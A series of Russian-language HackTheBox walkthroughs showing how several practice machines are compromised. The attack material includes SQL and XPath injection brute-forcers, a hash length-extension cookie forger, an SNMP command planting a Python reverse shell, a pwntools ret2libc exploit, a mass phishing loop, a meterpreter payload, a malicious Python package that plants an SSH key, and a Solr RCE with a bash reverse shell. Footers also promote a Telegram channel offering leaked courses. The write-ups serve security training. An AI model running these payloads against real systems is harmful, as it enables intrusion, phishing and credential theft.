Но мы можем через него выполнить команды, то есть от имени root. Для этого нам будет нужно следующее программное обеспечение, скачиваем и собираем исходники.Загрузим полученный образ на удаленный хост. И после подготовительной части импортируем наш lxd-совместимый файл образа.
lxc image import ./alpine-v3.12-x86_64-20200810_0015.tar.gz --alias ralf



Нам сообщают, что предварительно его нужно было инициализировать, но это можено сделать и позже. Убедимся, что образ загружен.
lxc image list



А теперь инициализируем.



Давайте создадим контейнер, указав образ и имя.
lxc init ralf ignite -c security.privileged=true

И зададим конфигурации, где диск будет примонтирован как /mnt/root.
lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true

Запускаем и выполняем.
lxc start ignitelxc exec ignite /bin/sh



И у нас есть root права.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Intanse. Flask, атака HLE, SQL инъекция, SNMP to RCE, Ret2Libc

14.11.2020 18:04:39 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье получаем секрет Flask с помощью SQL инъекции, проводим криптоатаку удлинения сообщения, получаем RCE с помощью SNMP, и эксплуатируем уязвимость переполнения буфера в приложении с помощью Ret2Libc атаки.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.195, который я добавляю в /etc/hosts.

10.10.10.195 intence.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



nmap -sU intence.htb



Имеем только SNMP, веб-сервер и службу SSH, поэтому смотрим сайт. Нам говорят, что мы можем авторизоваться как гость, а также предоставляют исходные коды.



Давайте авторизуемся, чтобы иметь представление о структуре сайта.



Так, мы можем что-то отправлять, давайте перейдем к странице Submit.



Тестировать ничего не будем, так как у нас имеются исходные коды. Скачиваем и поочередно просматриваем. Из файла admin.py видим возможности администратора просматривать директории и читать файлы. Также понимаем, что используется flask.



Из файла app.py следует, что при запросе Submit используется база данных, а пользовательские данные не фильтруются.



Еще отмечаем способ создания cookie.



Перейдем к файлу lwt.py, в котором и происходит работа с сессиями. Отмечаем длину секрета и структуру cookie.





И в последнем файле видим сам запрос в базу данных и принцип проверки привилегий пользователя.



Все ясно, давайте посмотрим cookie.



Мы можем легко декодировать данную строку с помощью flask-session-cookie-manager.



Но нам нужен секрет админа.

SQL инъекция


Попробуем получить его с помощью SQL инъекции в Submit. Таким образом, мы имеем следующий INSERT запрос:

INSERT INTO messages VALUES ('%s')

Поэтому наш запрос должен быть выполнен в следующей конструкции:

' AND ( SELECT ... ) ) -- -

Тогда полный запрос в базу данных будет таким:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) ) -- - ')

Если без комментариев, то такой:

INSERT INTO messages VALUES ('' AND ( SELECT ... ) )

В самом запросе будет использовать конструкцию:

SELECT CASE WHEN () - THEN 1 - ELSE MATCH - END

Тогда если запрос может быть выполнен, то мы получим ответ 'OK', а иначе ошибку 'unable to use function MATCH in the requested context'.

Мы можем посимвольно узнать секрет, хранящийся в таблице users. Тем более, что мы уже знаем секрет гостевого пользователя (role = 0). Учитываем, что используется SQLite база данных, давайте узнаем длину секрета( так как мы ее знаем, определим реакцию на верный и неверный запрос) с помощью следующей вставки в запрос (вместо XXX наше число):

' and (select case when ((select length(secret) from users where role=0)=XXX) then 1 else match(1,1) end)) -- -



Теперь давайте проверим посимвольное извлечение секрета. Здесь поможет следующая конструкция(NUM это порядковый номер символа, а XXX сам символ).

' and (select case when ((select substr(secret,NUM,1) from users where role=0)='XXX') then 1 else match(1,1) end)) -- -



Таким образом, все предположения подтвердились. То есть мы можем узнать секрет пользователя с role=1. Его длина (так как это хеш) равна 64.



Перейдем в Intruder и выставим следующие настройки.







И запустим атаку. Через несколько секунд получим результат о выполнении. Установим фильтр, который исключит все ответы, где присутствует MATCH. И увидим 64 строки. Сортируем их по payload1 (позиция символа).



Выделим все строки и сохраним в файл только payload2.



И смотрим наш секрет.



HLE атака


Мы не можем просто взять и подставить данный секрет в cookie. Но можем выполнить атаку HLE.

Выполнить атаку можно с помощью следующего кода, использующего библиотеку hashpumpy.

import hashpumpyimport binasciiimport requestsfrom base64 import *url = "http://intence.htb/admin"new_notice = ';username=admin;secret=f1fc12010c094016def791e1435ddfdcaeccf8250e36630c0bc93285c2971105;'old_cookie = "dXNlcm5hbWU9Z3Vlc3Q7c2VjcmV0PTg0OTgzYzYwZjdkYWFkYzFjYjg2OTg2MjFmODAyYzBkOWY5YTNjM2MyOTVjODEwNzQ4ZmIwNDgxMTVjMTg2ZWM7.atnwv4CK60D2CllL+KoPOT7nlxrkm3604YnlMZuII8s="data_cookie = b64decode(old_cookie.split('.')[0])sign_cookie = b64decode(old_cookie.split('.')[1])for offset in range(1,64):    print("Find offset: " + str(offset), end='\r')    (new_sign, new_data) = hashpumpy.hashpump(binascii.hexlify(sign_cookie), data_cookie, new_notice, offset)    new_cookie = b64encode(new_data) + b"." +  b64encode(binascii.unhexlify(new_sign))    r = requests.get(url, cookies = { "auth" : new_cookie.decode('utf-8')})    if r.status_code == 200:        print("Offset found: " + str(offset))        print("Admin cookie: " + new_cookie.decode('utf-8'))        break



И получаем куки админа, вставим их на сайте.



Отлично, у нас повышенные привилегии.

USER


Давайте проверим, можем ли мы читать файлы и просматривать директории.





Отлично. Из файла /etc/passwd отметим для себя пользователя user и SNMP.



И забираем первый флаг.



SNMP to Reverse shell


Давайте посмотрим файл конфигураций SNMP. Из него мы получаем пароль, который позволит нам создавать записи (rwcommunity).



Давайте создадим запись, содержащую реверс шелл на питоне. Для этого нам нужно заполнить следующие поля:

nsExtendStatus."command"nsExtendCommand."R4command"nsExtendArgs."R4command"

Установим snmp-mibs-downloader.

apt install snmp-mibs-downloader

И теперь создадим запись.

snmpset -m +NET-SNMP-EXTEND-MIB -v 2c -c SuP3RPrivCom90 intence.htb 'nsExtendStatus."R4command"' = createAndGo 'nsExtendCommand."R4command"' = /usr/bin/python3 'nsExtendArgs."R4command"' = '-c "import sys,socket,os,pty;s=socket.socket();s.connect((\"10.10.14.112\",4321));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn(\"/bin/sh\")"'



Для выполнения нам нужно знать OID объекта. Есть очень хороший сайт, который может в этом помочь.



Так OID объекта 1.3.6.1.4.1.8072.1.3.2. Выполняем команду и получаем бэкконнект.

snmpwalk -v 2c -c SuP3RPrivCom90 intence.htb 1.3.6.1.4.1.8072.1.3.2





ROOT


Получим нормальный bash и посмотрим домашнюю директорию пользователя.



Находим исполняемый файл и исходный код. С помощью netcat копируем файлы на локальную машину для анализа.



Из исходного кода программы узнаем, что она прослушивает 5001 порт.



Давайте проверим.





Таким образом мы нашли вектор LPE. Данная программа прослушивает локальный порт 5001 и работает от имени root. Пользователь SNMP не имеет интерактивной оболочки (было отмечено в /etc/passwd) но мы можем туннелировать порт при помощи SSH. Давайте сгенерируем ключ и запишем в authorized_keys на удаленной машине.





А теперь пробрасываем порт.

ssh -i id_rsa -N -L 5001:127.0.0.1:5001 Debian-snmp@intence.htb



Отлично. Приступаем к анализу программы.

Атака Ret2Libc


Узнаем, какую библиотеку использует программа с помощью GDB, а потом скопируем ее способом, которым мы пользовались ранее.



И не забываем проверим используемую защиту.



Таким образом образом у нас есть и рандомная адресация, канарейка и неисполняемый стек. Для начала напишем шаблон эксплоита.

#!/usr/bin/python3from pwn import *HOST = '127.0.0.1'PORT = 5001context(os='linux', arch='amd64')binary = ELF('./note', checksec=False)libc = ELF('./libc-2.27.so', checksec=False)r = remote(HOST, PORT)r.interactive()



Разберемся с функционалом приложения. Из исходного кода становится ясно, что мы можем создавать, копировать и читать заметки.

Давайте реализуем данные функции. При записи, мы должны прислать 1 байт = 0x01, и после чего 1 байт размер сообщения и само сообщение.



def W(s):    r.send(p8(1))    r.send(p8(len(s)))    r.send(s)

Копирование требует 0x02, два байта смещение и один байт размер.



def CPY(offset, size):    r.send(p8(2))    r.send(p16(offset))    r.send(p8(size))

И для чтения только байт 0x03.



def R(size):    r.send(p8(3))    return r.recv(size)

А размер буфера равен 1024.



Мы можем переполнить буфер, но нам нужно знать значение канарейки и регистров RBP и RIP. Их мы можем узнать благодаря функции CPY, узнав данные по смещению 1024. Но их сперва нужно занять. Так как мы можем записать только 255 байтов за один раз, то нам нужно 4 раза записать по 255 символов и пятый раз дополнить 4 байта. А потом уже прочитать 1056 байт и отделить 32 байт после нашего буфера.

[  W("A"*255) for _ in range(4) ]W("A"*4)CPY(1024, 32)post_buf = R(1056)[1024:]_CANARY = u64(post_buf[8:16])_RBP = u64(post_buf[16:24])_RIP = u64(post_buf[24:32])print("CANARY: " + hex(_CANARY))print("RBP: " + hex(_RBP))print("RIP: " + hex(_RIP))



Зная RIP и зная относительный адрес выхода из функции, мы можем вычислить адрес, по которому загружена программа.



binary.address = _RIP - 0xf54

И воспользуемся классом ROP, чтобы получить адрес функции write (про ROP уже досконально разбирали).

rop_binary = ROP(binary)rop_binary.write(4, binary.got['write'])r = remote(HOST, PORT)payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + rop_binary.chain()   # 72W(payload)[  W("A"*255) for _ in range(3) ]W("A"*187)CPY(0, len(payload))R(1024 + len(payload))libc_write = u64(r.recv(8))print("Leak: " + hex(libc_write))



И вычислим адрес, по которому загружена LIBC.

libc.address = libc_write -libc.symbols['write']print("LIBC address: "+ hex(libc.address))



Похоже на правду. А теперь получим шелл, используя тот же класс ROP. Как это обычно бывает, перенаправим потоки ввода/вывода, вызываем /bin/sh и перезаписываем функцию write.

libc_rop = ROP(libc)libc_rop.dup2(4, 0)libc_rop.dup2(4, 1)libc_rop.execve(next(libc.search(b"/bin/sh\x00")), 0, 0)r = remote(HOST, PORT)payload = p64(0xDEAD) + p64(_CANARY) + p64(_RBP) + libc_rop.chain()   # 152W(payload)[  W("A"*255) for _ in range(3) ]W("A"*107)CPY(0, len(payload))R(1024 + len(payload))

Полный код, как всегда, привожу картинкой.





И мы с полными правами.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

Hack The Box. Прохождение SneakyMailer. Фишинговая рассылка, LPE через PyPI и GTFOBins pip3

28.11.2020 18:12:01 | Автор: admin


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы получим список адресов электронной почты, выполним рассылку фишинговых писем, разместим PHP шелл через FTP, выполним произвольный код благодаря PyPI и повысим привилегии через GTFOBins pip3.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.197, который я добавляю в /etc/hosts.

10.10.10.197 sneakymailer.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Видим много открытых портов, часть из которых отвечает за почту, 80 и 8080 веб сервер, а также активны службы FTP и SSH, для которых нужны учетные данные. Как видно из скана, на веб сервер перенаправляет на на другой домен. Давайте добавим его в /etc/hosts.
10.10.10.197 sneakycorp.htb
На сайте можно найти список сотрудников и соответствующие emailы.



Для получения всех адресов электронной почты советую использовать email extractor.



А теперь давайте откроем 80 порт и выполним многоадресную рассылку фишинговых писем с помощью swaks.
while read mail; do swaks --to $mail --from colleenhurst@sneakymailer.htb --header 'Subject: News' --body 'Look it: http://10.10.14.114/' --server sneakymailer.htb | grep 'To:' ; done < emails.txt



И видим, что какой-то пользователь переходит по нашей ссылке.



Давайте декодируем данные.



И получаем пароль, с помощью которого мы можем авторизоваться на почтовом сервере.

Entry point


В качестве клиента используем Evolution.









Вводим пароль при подключении и видим два письма.



В одном из которых есть пароль для разработчика (подходит для FTP) и упоминание PyPI, связанное с пользователем low.





Зайдя на FTP и получив некоторые файлы, замечаем, что это исходные коды сайта.





Давайте добавим поддомен dev в /etc/hosts.
10.10.10.197 dev.sneakycorp.htb


Таким образом мы можем разместить php шелл на сервере. Давайте сделаем это. В качестве нагрузки я использовал meterpreter.
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.114 LPORT=4321 -f raw > r.phpcat r.php | xclip -selection clipboard && echo '<?php ' | tr -d '\n' > r.php && xclip -selection clipboard -o >> r.php



После размещения файла в директорию dev запустим листенер.
handler -p php/meterpreter_reverse_tcp -H 10.10.14.114 -P 4321
И после обращения к нашему файлу, получаем активную сессию.





USER


Осматриваемся в окружении веб-сервера, отмечаем для себя поддомен pypi, уже упомянутый в данной лаборатории, и находим файл .htpasswd.





Давайте найдем пароль.
hashcat --example | grep '$apr1' -A2 -B2



hashcat -m 1600 -a 0 pypi.hash ./tools/rockyou.txt



Найденный поддомен также добавим в /etc/hosts.
10.10.10.197 pypi.sneakycorp.htb



На самом деле, установка своего пакета дает нам возможность выполнения произвольного кода. Вот хорошая инструкция по созданию python пакета. Первым делом создадим директрию.



Теперь нам нужно создать следующие файлы: __init__.py, .pypirc, README.md, setup.cfg и setup.py (он и содержит выполняемый код). Ниже привожу код файла setup.py. В нем мы записываем свой ключ SSH пользователю low.
from setuptools import setup try: f = open('/home/low/.ssh/authorized_keys', 'a') f.write('ssh-rsa ... ') f.close() except: setup( name='ralfpack', packages=['ralfpack'], description='R', version='0.1', url='http://pypi.sneakymailer.htb:8080/ralfpack', author='ralf', author_email='ralf@ralf.com', keywords=['pip','ralfpack','example'] )

Создаем __init__.py (чтобы был), пустой README.md и setup.cfg (в нем указываем README.md).





И осталось сделать .pypirc файл. Задаем название пакета и конфигурации для него.



Загружаем все файлы на хост.



Получим нормальную оболочку и соберем наш пакет.
python3 -c 'import pty;pty.spawn("/bin/bash")'python3 setup.py sdist



Теперь загрузим его.
python3 setup.py sdist upload -r ralfpack



Наш ключ загружен, и мы можем смело подключаться по SSH с приватным ключом.



ROOT


Из настроек sudo узнаем, что мы можем выполнить pip3 от имени root.



Обращаемся к GTFOBins и видим инструкцию получения шелла.



Повторяем и получаем шелл от имени root.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Unbalanced. Rsync, EncFS, Squid, XPath инъекция и RCE в Pi-hole

05.12.2020 18:16:42 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье разбираемся с резервной копией в rsync, подбираем пароль для EncFS, работаем со squid прокси-сервером, эксплуатируем XPath инъекцию и эксплуатируем RCE в Pi-hole.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.200, который я добавляю в /etc/hosts.

10.10.10.200 unbalanced.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



И мы наблюдаем службы SSH, rsync и прокси squid. Rsync программа для UNIX-подобных систем, которая выполняет синхронизацию файлов и каталогов в двух местах с минимизированием трафика. Rsync может копировать или отображать содержимое каталога и копировать файлы, опционально используя сжатие и рекурсию.
Посмотрим список доступных модулей.
rsync --list-only rsync://unbalanced.htb:873



Скопируем conf_backups.
rsync -av rsync://unbalanced.htb:873/conf_backups conf_backups



По наличию файла .encfs6.xml понимаем, что это шифрованный том EncFS. Давайте получим хеш пароля.



И переберем его.



Таким образом, мы получаем пароль, с помощью которого выполнено шифрование. Осталось монтировать раздел.



И получаем уже нормальный список файлов.



В основном это файлы конфигураций, и нас больше всего интересует squid.conf. Давайте посмотрим все незакоментированные строки.
cat squid.conf | grep -v '^#' | uniq





Сохраняем пароль и отмечаем новое доменное имя, которое добавляем в /etc/hosts. Так же смотрим списки доступа ACL.
10.10.10.200 intranet.unbalanced.htb

Установим в браузере прокси и обратимся по найденному доменному имени к веб серверу.



Нас встречает форма авторизации. Просидев с ней некоторое время, было принято решение дальше работаеть со squid.

Entry Point


Давайте посмотрим доступные опции.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:menu | grep -v 'disabled'



И мы можем найти еще доменные имена.
squidclient -h 10.10.10.200 -w 'Thah$Sh1' mgr:fqdncache



И есть еще три имени. Добавляем их в /etc/hosts (последнее было подобрано логически).
172.31.179.2 intranet-host2.unbalanced.htb 172.31.179.3 intranet-host3.unbalanced.htb172.31.179.1 intranet.unbalanced.htb

И на первом же видим, что данный сайт временное решение.



Дальше попадаем на такую же форму авторизации.

USER


Снова ее тестируем и получаем реакцию на запрос or=.





И получаем список пользователей. Это XPath-иньекция. Дело в том, что с помощью определенных запросов мы можем узнать пароли пользователей для данных имен.

Так для начала можно определить длину пароля с помощью функции string-length. Тестируем на логине. Мы знаем, что верная длина 5, поробуем условие с 4 и с 5 и увидим разницу.





Разница видна. После определения длина, мы можем по одному символу достать пароль. Так же тестируем на логине. Возьмем первую букву и сравним ее с a, а потом с b.





Разница также видна. Напишем код, который подобным образом переберет все пароли для каждого логина.
import requestsimport stringurl = 'http://172.31.179.1/intranet.php'proxies = {'http':'http://10.10.10.200:3128'}users = ['bryan','sarah', 'jim', 'rita']pass_str_len = "' or Username='USER' and string-length(Password)='"pass_str_chr = "' or Username='USER' and substring(Password,NUM,1)='"for user in users:    for l in range(1,25):        data = {'Username': '', 'Password': pass_str_len.replace('USER', user) + str(l) }        request = requests.post(url=url, data=data, proxies=proxies)        print('(' + str(l) + ') ' + user + ' : ' + ' '*10, end="\r")        if 'Invalid credentials.' not in request.text:            passwd = ''            for num in range(l):                for c in string.printable[:94]:                    data = {'Username': '', 'Password': pass_str_chr.replace('USER', user).replace('NUM', str(num+1)) + c }                    request = requests.post(url=url, data=data, proxies=proxies)                    print('(' + str(l) + ') ' + user + ' : ' + passwd + c +' '*10, end='\r')                    if 'Invalid credentials.' not in request.text:                        passwd += c                        break            print(user +" : "+ passwd + " "*10)            break



И первый пользователей имеет доступ по SSH с найденным паролем.



ROOT


В домашней директории пользователя находим TODO список.



И мы видим, что еще не выполнены задачи, связанные с Pi-hole (пароль admin). Но просмотреть открытые порты не вышло, так как отсутствует netstat. Тогда можно воспользоваться данным скриптом.



Открыты порты 8080 и 5553.





И в ответе находим еще один домен и соответствующий ему IP. Прокинем порт и обратимся через браузер.
ssh -L 8080:127.0.0.1:8080 bryan@unbalanced.htb



Переходи на страницу и авторизуем с паролем admin. В самом низу видим версию.



Посмотрим эксплоиты.





Давайте запустим листенер и выполним эксплоит.





Посмотрим файлы рута и найдем упомянутый в TODO листе скрипт.





В нем присутствует пароль.



Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение OpenKeys. Ломаем виртуалку OpenBSD

12.12.2020 18:17:24 | Автор: admin

Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.199, который я добавляю в /etc/hosts.

10.10.10.199 openkeys.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



Проходим на 80 порт и нас встречает форма авторизации.



Entry Point


Давайте просканируем директории.
gobuster dir -t 128 -u openkeys.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,php



Находим непроиндексированную директорию include.



Посмотрим swp файл.



И находим новый домен. Добавим его в /etc/hosts. Но там нас встречает все та же форма авторизации. Так как это OpenBSD возникла идея найти дефолтные учетные данные. И я наткнулся на эту статью, оказалось распространенным случаем.



USER


Авторизуемся и нам сообщают, что такого пользователя нет.



Тогда ссылаясь на имя домена, предположим, что существует пользователь jennifer.



И получаем SSH ключ.





ROOT




И для данной версии существуют эксплоиты.



Загруаем на хост.
scp -i jennifer.key ./openbsd-authroot jennifer@jenniferopenkeys.htb:/tmp/

И выполняем.



Мы получаем привилегии root.

Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, отчеты, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.
Подробнее..

HackTheBox. Прохождение Laser. Jetdirect, RPC и кража SSH

19.12.2020 20:12:49 | Автор: admin


Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.

В данной статье мы работаем с принтером и получаем документ, который даст нам вектор захвата хоста, найдем в памяти ключ шифрования и расшифруем найденный документ. Далее работаем с gRPC и даже получаем RCE. Как вектор LPE, пробуем найти уязвимость в скиптах, использующих SSH.

Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.

Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.

Recon


Данная машина имеет IP адрес 10.10.10.201, который я добавляю в /etc/hosts.

10.10.10.201 laser.htb

Первым делом сканируем открытые порты. Я это делаю с помощью следующего скрипта, принимающего один аргумент адрес сканируемого хоста:

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1



После сканирования мы по сути ничего не имеем. Давайте попробуем нагуглить какие либо упоминания о проблемах безопасности, связанных с данными портами (кроме SSH).



И мы находим даже инструмент, который позволяет нам работать с принтером.

Entry Point


Давайте посмотрим, что мы можем в итоге получить.



Осмотревшись, мы находим только один файл.



Давайте получим его и откроем.



Проблема в том, что она зашифрован, поэтому мы не можем его просмотреть.



Но мы можем достать ключ шифрования.



Так как файл зашифрован с помощью AES CBC, мы можем его расшифровать.
import base64
from Crypto.Cipher import AESmess = open("./PRET/queued", "r").read()[2:].replace("'", "")mess_decrypt = base64.b64decode(mess)IV, CT = mess_decrypt[8:24], mess_decrypt[24:]chip = AES.new('13vu94r6643rv19u', AES.MODE_CBC, IV)OT = chip.decrypt(CT)with open("decr.pdf", "wb") as f:    f.write(OT)



По сигнатуре видим, что это PDF документ. А уже в самом документе находим кое-что интересное.



Таким образом, 9000 порт отвечает за RPC приложение с реализованным методом Feed. Оно принимает входные сериализованные данные Content и возвращает Data с помощью службы Print. gRPC это высокопроизводительный фреймворк для удаленного вызова процедур, разработанный компанией Google.

Сперва нам нужно описать формат обмена данными. Для этого используем protocol buffers.Указываем версию protobuf, описываем типы данных для клиент-серверного взаимодействия. Будем отсылать текстовые данные (типа string) Content и получать данные Data с помощью Print. Создадим файл ralf.proto (можно свое название).
syntax = "proto3";

message Content {
string data = 1;
}

message Data {
float feed = 1;
}

service Print {
rpc Feed(Content) returns (Data) {}
}

Далее установим две библиотеки: grpcio и grpcio-tools. Первая это сама библиотека для grpc, а вторая набор примочек для автоматизации разработки.
sudo pip3 install grpciosudo pip3 install grpcio-tools

Теперь сгенерируем два файла.
python3 -m grpc_tools.protoc -I. --python_out=. --grpc_python_out=. ralf.proto



Файл _pb2.py содержит описание протокола взаимодействия. Файл _pb2_grpc.py хранит классы, которые нужно использовать в сервере и клиенте.
После необходимых импортов, нужно открыть канал. Затем подключаем клиент нашего RPC API к этому каналу и вызываем функции, как будто удаленно никуда не обращаемся! Мы знаем, что порт 22 открыт. Давайте проверим реакцию, на запрос feed с этого порта и потенциально закрытого.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:22"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:    response = stub.Feed(content, timeout=30)    print(response)except Exception as e:    print(e.details())



То есть мы можем узнать, какие порты открыты для localhost. Давайте переберем все пароли. Порты разделим на закрытые, открытые и порты, отвечающие feed (так как 22 порт ответил not allowed).
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcfor port in range(1, 65536):    p = '{"feed_url":"http://localhost:'+ str(port) +'"}'    p2 = base64.b64encode(pickle.dumps(p))    channel = grpc.insecure_channel('10.10.10.201:9000')    stub = ralf_pb2_grpc.PrintStub(channel)    content = ralf_pb2.Content(data=p2)    try:        response = stub.Feed(content, timeout=30)        print("Port found: " + str(port))    except Exception as e:        if "Connection refused" in e.details():            print("Port: "+ str(port), end="\r")        else:            print("Port open: " + str(port) + " "*10)



И находим нужный, отвечающий нам порт.

USER


Узнаем что это.





И находим даже эксплоит. Таким образом, мы можем получить RCE, выполнив 2 запроса, как в инструкции. Первый запрос:
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"gopher://localhost:8983/0POST%20%2Fsolr%2Fstaging%2Fconfig%20HTTP%2F1.1%0AHost%3A%20localhost%3A8983%0AContent-Type%3A%20application%2Fjson%0AContent-Length%3A%20259%0A%0A%7B%0A%20%20%22update-queryresponsewriter%22%3A%20%7B%0A%20%20%20%20%22startup%22%3A%20%22lazy%22%2C%0A%20%20%20%20%22name%22%3A%20%22velocity%22%2C%0A%20%20%20%20%22class%22%3A%20%22solr.VelocityResponseWriter%22%2C%0A%20%20%20%20%22template.base.dir%22%3A%20%22%22%2C%0A%20%20%20%20%22solr.resource.loader.enabled%22%3A%20%22true%22%2C%0A%20%20%20%20%22params.resource.loader.enabled%22%3A%20%22true%22%0A%20%20%7D%0A%7D"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:stub.Feed(content, timeout=30)except Exception as e:print(e.details())

И во втором запросе бэкконнект шелл: bash -i >& /dev/tcp/10.10.14.205/4321 0>&1.
import pickle, base64import grpc, ralf_pb2, ralf_pb2_grpcp = '{"feed_url":"http://localhost:8983/solr/staging/select?q=1&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F10.10.14.205%2F4321%200%3E%261%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end"}'p2 = base64.b64encode(pickle.dumps(p))channel = grpc.insecure_channel('10.10.10.201:9000')stub = ralf_pb2_grpc.PrintStub(channel)content = ralf_pb2.Content(data=p2)try:        response = stub.Feed(content, timeout=30)except Exception as e:        print(e.details())

И у нас есть шелл от имени пользователя.



ROOT


Для удобного доступа сгенерируем и запишем SSH ключ.





Для разведки на системе используем LinPEAS. И отмечаем наличие сетевого интерфейса docker, а также наличие большого количества SSH соединений с этого интерфейса.





Давайте проследим новые процессы с помощью pspy. И видим пароль для подключения, а также выполняемый скрипт.



Дело в том, что мы можем перенаправить соединение и выполнить скрипт с локального хоста от имени root. Давайте зайдем на docker и загрузим на хост socat. После чего остановим службу SSH и выполним перенаправление.



А теперь создадим на удаленном хосте (не в docker) скрипт /tmp/clear.sh, который будет копировать SSH ключ рута и делать его доступным для всех.
